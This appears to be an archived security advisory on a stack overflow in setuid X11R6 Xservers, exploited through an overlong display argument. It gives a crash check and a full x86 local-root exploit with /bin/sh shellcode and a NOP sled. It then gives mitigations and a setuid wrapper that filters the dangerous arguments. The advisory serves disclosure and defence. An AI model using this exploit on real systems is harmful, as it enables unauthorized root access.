COMMAND
Xserver (X11R6)
SYSTEMS AFFECTED
Systems running X11R6 based Xserver
PROBLEM
Pavel Kankovsky found following. On a system where X11R6-based
Xserver (R5 is probably affected too) is installed setuid or
setgid (e.g. typical XFree86 installation has XF86_* setuid
root), local users can exploit a buffer overrun in its code and
gain extra privileges (e.g. root privileges when Xserver is setuid
root). X11R6.x Xserver recognizes a runtime argument specifying
the desired display (e.g. X :1). It accepts ANY value regardless
of its length and contents (save from the initial colon). Excerpt
from xc/programs/Xserver/os/access.c (X11R6.3):
/* Reset access control list to initial hosts */
void
ResetHosts (display)
char *display;
{
register HOST *host;
char lhostname[120], ohostname[120];
char *hostname = ohostname;
char fname[100];
[snip]
strcpy (fname, "/etc/X");
strcat (fname, display);
strcat (fname, ".hosts");
if (fd = fopen (fname, "r"))
[snip]
}
Xserver calls ResetHosts() during its startup. A very long value
of "display" (100 + 2*120 + delta bytes) overflows "fname" and
corrupts the stack. Quick vulnerability check:
X :00000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000009
(add -nolock for XFree86, change X to whatever name your Xserver
has). Vulnerable Xserver will crash (Segmentation fault). Rahul
Sahadevan posted an x86 exploit. This program has been tested on
most XF86 servers (version 3.2) shipped with Redhat-4.2 and on
XF86_SVGA (version 3.2 and 3.3.1). It did not work on XF86_SVGA
3.1.x.
/**********************************************************
* Adapted from *
* "Smashing The Stack For Fun And Profit" *
* in Phrack-49 by Aleph One ( aleph1@underground.org )*
* by *
* Rahul Sahadevan. ( srahul@csa.iisc.ernet.in ) *
**********************************************************/
/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2
#include <string.h>
#include <unistd.h>
#include <errno.h>
#define LENCODE ( sizeof( Code ) )
char Code[] =
"\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
"\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
"\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
"\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";
char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };
main() {
dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
__asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
memcpy( ptr + 4, ptr, 0x3fc );
memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
execve( "/usr/X11R6/bin/X", args, args + 3 );
perror( "execve" );
}
SOLUTION
Machines immunized against stack smashing--e.g. Linux boxes with
Solar Designer's kernel patch--are probably not vulnerable.
Quick fix:
* remove setuid/setgid bit from all installed Xservers
* use xdm or a safe setuid wrapper to start Xserver
Here's a wrapper for this bug and for the older XF86 security
vulnerability (i.e. XF86_XX -config /etc/shadow):
/*
Description: X server wrapper
Instalation steps:
0. Become root (su -)
1. Modify the X_Server program variable according to your
taste (i.e. the X server true path, not the link to it!)
2. Compile this program as
cc Xserver.c -O4 -o Xserver
3. Copy the resulting binary to /usr/X11/bin, or whatever
path you may have
4. chmod 04711 Xserver
5. Suppose your X server is called "XF86_S3"; issue a command
chmod 0711 XF86_S3
6. Remove the old link for X (e.g X -> /usr/X11/bin/XF86_S3)
7. Make a new link
ln -s /usr/X11/bin/Xserver /usr/X11/bin/X
Copyright policy: the GNU Public License.
This program is intended as a temporary patch for an existing
X server; it is provided "as is", the author is not
responsible for any direct/indirect damage(s) caused by its
use.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <syslog.h>
#include <pwd.h>
#include <sys/types.h>
/*
This is intended for debugging porposes only.
Do NOT define this for a normal usage!!
*/
#define _DEBUG
#define SIZE 1024
/* guaranteed filled with NULLs by UNIX */
char* args[SIZE];
int argsCount = 0;
char* sccsID =
"@(#) X wrapper 1.0 Copyright (C) 1998 by Vadimir COTFAS (ulianov@mecanica.math.unibuc.ro), Jan 14th 1998";
char *X_Server = "/usr/X11/bin/XF86_S3";
int main(int argc, char* argv[])
{
int i;
uid_t uid, euid;
struct passwd* pass;
openlog("Xserver", LOG_CONS|LOG_NDELAY|LOG_PERROR|LOG_PID, LOG_AUTHPRIV);
uid = getuid(); euid = geteuid();
if(!((uid==0) || (euid==0))){
fprintf(stderr,"Xserver: this program must be run as (setuid) root\n");
exit(1);
}
pass = getpwuid(uid);
for(i=0; i<argc; i++){
char* p;
if((index(argv[i],':') != NULL) && (strlen(argv[i]) > 2)){
syslog(LOG_NOTICE, "potential buff ovrflw at arg #%d user %s",
i, pass->pw_name);
continue;
}
if(strstr(argv[i], "-config")){
syslog(LOG_NOTICE, "security vulnerability at arg #%d user %s \n",
i, pass->pw_name);
i++;
continue;
}
if(argsCount >= SIZE){
syslog(LOG_NOTICE, "too many args (>1024) user %s \n", pass->pw_name);
exit(1);
}
args[argsCount++] = argv[i];
}
args[argsCount] = NULL; /* just to be sure */
#ifdef DEBUG
for(i=0; i<argsCount; i++) printf("%s ", args[i]);
printf("\n");
#endif
if(execv(X_Server, args) < 0){
fprintf(stderr,"Xserver: could not execute the X server ``%s''\n", X_Server);
exit(1);
}
/*NOTREACHED*/
return 0;
}